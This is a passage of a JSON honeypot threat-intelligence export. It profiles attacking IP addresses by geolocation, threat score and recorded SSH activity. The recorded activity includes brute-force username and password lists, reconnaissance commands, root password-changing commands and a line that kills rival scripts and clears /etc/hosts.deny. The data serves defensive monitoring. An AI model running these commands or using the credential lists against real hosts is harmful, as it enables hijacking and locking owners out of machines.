        "echo \"12345\\n6Ra9ldAIYAAy\\n6Ra9ldAIYAAy\\n\"|passwd",
        "echo \"password\\nFSLaEZzyt3yh\\nFSLaEZzyt3yh\\n\"|passwd",
        "echo \"qwerty\\no62wJ7wjEv22\\no62wJ7wjEv22\\n\"|passwd",
        "echo -e \"12345\\n6Ra9ldAIYAAy\\n6Ra9ldAIYAAy\"|passwd|bash",
        "echo -e \"password\\nFSLaEZzyt3yh\\nFSLaEZzyt3yh\"|passwd|bash",
        "echo -e \"qwerty\\no62wJ7wjEv22\\no62wJ7wjEv22\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 10220,
      "as_org": "PT. Kreasi Sejahtera Teknologi",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T01:53:22.096000+00:00",
        "last_seen_30d": "2026-03-14T23:49:35.047000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 66
      }
    },
    "212.69.86.37": {
      "attack_count": 266,
      "first_seen": "2026-03-07T03:20:09.579Z",
      "last_seen": "2026-03-07T03:42:25.224Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "ts3",
        "central",
        "diego",
        "linode",
        "remote",
        "sc",
        "shadow"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345",
        "123456789",
        "123QWEasdZXC",
        "@qwer2024",
        "@qwer2025",
        "Linode123",
        "diego1234",
        "ftpuserpass",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ftpuserpass\\nCLOSd6XTA1Vu\\nCLOSd6XTA1Vu\\n\"|passwd",
        "echo \"password\\na81DiuVvz403\\na81DiuVvz403\\n\"|passwd",
        "echo \"root:mli3j3gqcgXa\"|chpasswd|bash",
        "echo -e \"ftpuserpass\\nCLOSd6XTA1Vu\\nCLOSd6XTA1Vu\"|passwd|bash",
        "echo -e \"password\\na81DiuVvz403\\na81DiuVvz403\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 57043,
      "as_org": "Hostkey B.v.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 307,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:20:09.579000+00:00",
        "last_seen_30d": "2026-03-07T03:43:25.685000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 41
      }
    },
    "81.170.248.221": {
      "attack_count": 257,
      "first_seen": "2026-03-12T10:42:25.507Z",
      "last_seen": "2026-03-12T11:06:46.607Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "home",
        "n8n",
        "node",
        "devman",
        "leon",
        "max",
        "obc",
        "sd",
        "shiyi",
        "xx"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "changeme",
        "devman",
        "home123!",
        "n8n",
        "obc123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nBeGyArgUzFw5\\nBeGyArgUzFw5\\n\"|passwd",
        "echo \"home123!\\nVp7y6n7IEdL9\\nVp7y6n7IEdL9\\n\"|passwd",
        "echo \"n8n\\nK9HRu0zu2lYc\\nK9HRu0zu2lYc\\n\"|passwd",
        "echo -e \"123456\\nBeGyArgUzFw5\\nBeGyArgUzFw5\"|passwd|bash",
        "echo -e \"home123!\\nVp7y6n7IEdL9\\nVp7y6n7IEdL9\"|passwd|bash",
        "echo -e \"n8n\\nK9HRu0zu2lYc\\nK9HRu0zu2lYc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T10:42:25.507000+00:00",
        "last_seen_30d": "2026-03-12T11:07:49.150000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "103.63.25.51": {
      "attack_count": 256,
      "first_seen": "2026-03-09T02:46:01.991Z",
      "last_seen": "2026-03-09T03:18:23.351Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "es_user",
        "pavel",
        "root",
        "arkserver",
        "gns3",
        "jon",
        "mitra",
        "omega",
        "t128",
        "verdaccio"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "Aa111111",
        "Arkserver123",
        "Gns3123",
        "mitra123",
        "omega"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nWbWTd60WvnCX\\nWbWTd60WvnCX\\n\"|passwd",
        "echo \"123\\nF4o8uYLiXz83\\nF4o8uYLiXz83\\n\"|passwd",
        "echo \"root:NweEswHHacIN\"|chpasswd|bash",
        "echo -e \"1234\\nWbWTd60WvnCX\\nWbWTd60WvnCX\"|passwd|bash",
        "echo -e \"123\\nF4o8uYLiXz83\\nF4o8uYLiXz83\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:46:01.991000+00:00",
        "last_seen_30d": "2026-03-09T03:19:33.332000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 42
      }
    },
    "139.59.96.178": {
      "attack_count": 254,
      "first_seen": "2026-03-04T12:50:14.694Z",
      "last_seen": "2026-03-04T13:19:35.627Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1221",
        "Q2w3e4r5",
        "QWEasd123!@#",
        "Woaini123",
        "a1231234",
        "a1387007",
        "aa01",
        "newworld",
        "qq100200",
        "qweasdzxc123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RLTHbkf000nH\"|chpasswd|bash",
        "echo \"root:dj3bacJKh6ih\"|chpasswd|bash",
        "echo \"root:xlyfLYycurfR\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:50:14.694000+00:00",
        "last_seen_30d": "2026-03-04T13:20:44.782000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 38
      }
    },
    "144.31.234.168": {
      "attack_count": 237,
      "first_seen": "2026-03-24T00:12:40.679Z",
      "last_seen": "2026-03-26T14:31:11.199Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "copias",
        "teamcity",
        "345gs5662d34",
        "aaa",
        "admin123",
        "aman",
        "andy",
        "automation",
        "aws",
        "ec2-user",
        "esuser",
        "jon",
        "lin",
        "nico",
        "odoo15",
        "reza",
        "root",
        "scanner",
        "sftpuser",
        "student4"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "1234",
        "123456789aA",
        "1qaz!QAZ",
        "345gs5662d34",
        "Aaa",
        "Jon",
        "Lin",
        "Nico",
        "Sftpuser123!",
        "admin123password",
        "aman123!",
        "copiascopias",
        "ec2-user",
        "esuser123!",
        "odoo15@123",
        "scanner@123456",
        "student4"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nFi5SsQReokWp\\nFi5SsQReokWp\\n\"|passwd",
        "echo \"copiascopias\\nlGcuNVFawVR5\\nlGcuNVFawVR5\\n\"|passwd",
        "echo -e \"123456\\nFi5SsQReokWp\\nFi5SsQReokWp\"|passwd|bash",
        "echo -e \"copiascopias\\nlGcuNVFawVR5\\nlGcuNVFawVR5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T00:12:40.679000+00:00",
        "last_seen_30d": "2026-03-26T14:32:12.684000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 237,
        "Suricata": 56
      }
    },
    "104.248.209.31": {
      "attack_count": 195,
      "first_seen": "2026-03-11T07:43:56.793Z",
      "last_seen": "2026-03-11T09:08:32.409Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "validator",
        "solv",
        "binance",
        "bootstrap",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "jito",
        "node",
        "okx",
        "shred",
        "shreded",
        "slot",
        "sol",
        "telegram",
        "trader",
        "trading",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "12345678",
        "123456",
        "bootstrap",
        "jito",
        "shred",
        "slot",
        "1234",
        "Solana",
        "binance",
        "bot",
        "drone",
        "ethereum",
        "firedancer",
        "node",
        "okx",
        "phantom",
        "shreded",
        "shredr",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T07:41:59.321000+00:00",
        "last_seen_30d": "2026-03-11T09:09:37.713000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 90
      }
    },
    "192.99.145.154": {
      "attack_count": 191,
      "first_seen": "2026-03-03T10:29:07.958Z",
      "last_seen": "2026-03-03T10:53:39.538Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz@Wsx#Edc",
        "Abc@123456789",
        "Bingo@1993",
        "Ceshi123",
        "Ljy123456",
        "P@ssword12345@",
        "Password@2024",
        "Zz112233",
        "admin1234@",
        "m123456",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1f3c2kOjyWq8\"|chpasswd|bash",
        "echo \"root:tiu3pHvjJfsG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:29:07.958000+00:00",
        "last_seen_30d": "2026-03-03T10:54:41.156000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 34
      }
    },
    "23.91.96.70": {
      "attack_count": 187,
      "first_seen": "2026-03-03T01:35:14.933Z",
      "last_seen": "2026-03-03T02:16:27.468Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1233218613",
        "123456A!",
        "3245gs5662d34",
        "Gfhjkm123",
        "P@ssw0rd.1",
        "Ubuntu2023",
        "Yg12345678",
        "Zz@123456",
        "abc123==",
        "asdf1234",
        "ivan",
        "openvpnas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1233218613\\nR4ZInI5kgYCg\\nR4ZInI5kgYCg\\n\"|passwd",
        "echo \"root:ofdbcDR2rh6N\"|chpasswd|bash",
        "echo -e \"1233218613\\nR4ZInI5kgYCg\\nR4ZInI5kgYCg\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:35:14.933000+00:00",
        "last_seen_30d": "2026-03-03T02:17:36.833000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 34
      }
    },
    "168.138.42.12": {
      "attack_count": 186,
      "first_seen": "2026-03-04T14:06:26.158Z",
      "last_seen": "2026-03-04T14:48:29.458Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweqwe",
        "8899",
        "Aaaa1234",
        "Bingo@1993",
        "Pokemon1",
        "alamakota",
        "ch0c0l4t3",
        "changeme",
        "changeme_123",
        "cyber123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3yUEFMorzi4G\"|chpasswd|bash",
        "echo \"root:eliHLzBoMPT6\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:06:26.158000+00:00",
        "last_seen_30d": "2026-03-04T14:49:32.034000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 33
      }
    },
    "212.225.145.162": {
      "attack_count": 186,
      "first_seen": "2026-03-02T02:58:52.581Z",
      "last_seen": "2026-03-02T03:18:36.290Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234567812345678",
        "123456qq!",
        "ABCabc456",
        "Asd@12345",
        "Root@123..",
        "Welcome@12345",
        "Ww123456.",
        "bot",
        "qq.123",
        "root12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1JeOZtIDrCme\"|chpasswd|bash",
        "echo \"root:HiBPJYWj8bw1\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "M\u00e1laga",
      "asn": 34977,
      "as_org": "Procono S.A.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:58:52.581000+00:00",
        "last_seen_30d": "2026-03-02T03:19:44.554000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "186.39.15.221": {
      "attack_count": 173,
      "first_seen": "2026-03-15T13:53:33.318Z",
      "last_seen": "2026-03-15T14:19:42.574Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "fox",
        "ibrahim",
        "alumno",
        "andy",
        "devuser",
        "newuser",
        "sim"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "foxpass",
        "ibrahim123!",
        "newuser123",
        "sim1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"foxpass\\nYoOR3K4BGTM5\\nYoOR3K4BGTM5\\n\"|passwd",
        "echo \"ibrahim123!\\ndHYwQ93HRPto\\ndHYwQ93HRPto\\n\"|passwd",
        "echo -e \"foxpass\\nYoOR3K4BGTM5\\nYoOR3K4BGTM5\"|passwd|bash",
        "echo -e \"ibrahim123!\\ndHYwQ93HRPto\\ndHYwQ93HRPto\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "San Juan Bautista",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:53:33.318000+00:00",
